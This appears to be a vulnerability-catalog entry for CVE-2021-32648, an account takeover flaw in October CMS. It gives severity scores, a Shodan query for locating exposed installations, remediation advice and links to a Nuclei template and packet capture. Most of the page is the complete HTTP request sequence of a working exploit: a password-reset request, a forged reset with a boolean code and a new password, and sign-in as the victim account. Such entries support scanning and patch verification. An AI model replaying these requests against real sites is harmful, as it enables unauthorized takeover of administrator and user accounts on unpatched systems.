| Title | OctoberCMS - Account Takeover |
|---|---|
| Author | daffainfo |
| Severity | High |
| Impact | Unauthenticated attackers can request password resets and gain unauthorized access to user accounts including administrator accounts using a specially crafted request. |
| Remediation | Upgrade to October CMS Build 472 or v1.1.5 or later. |
| CVSS Score | 8.2 |
| EPSS Score | 0.92015 |
| CVE ID | CVE-2021-32648 |
| CWE ID | CWE-287,NVD-CWE-Other |
| Shodan Query | http.component:"october cms" |
| Tags | cve cve2021 cms octobercms intrusive kev vkev vuln |
octobercms in a CMS platform based on the Laravel PHP Framework. In affected versions of the october/system package an attacker can request an account password reset and then gain access to the account using a specially crafted request. The issue has been patched in Build 472 and v1.1.5.
GET /backend/backend/auth/restore HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
POST /backend/backend/auth/restore HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; it-it) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27
Connection: close
Content-Length: 37
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
_token=tU33wY&postback=1&login=yBhyHH
POST /backend/backend/auth/reset/1/KQxXyaaNeZNVHYQZYZEiDvD9am9HSjYtA7QJnECOjX HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:135.0) Gecko/20100101 Firefox/135.0
Connection: close
Content-Length: 73
Content-Type: application/json
Accept-Encoding: gzip
{"_token":"tU33wY","postback":1,"id":1,"code":true,"password":"Ot4z6TJF"}
GET /backend/backend/auth/signin HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /backend/backend/auth/signin HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
Content-Length: 75
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
_session_key=mOm6FB&_token=tU33wY&postback=1&login=yBhyHH&password=Ot4z6TJF
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-32648.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-32648.pcap
N/AN/A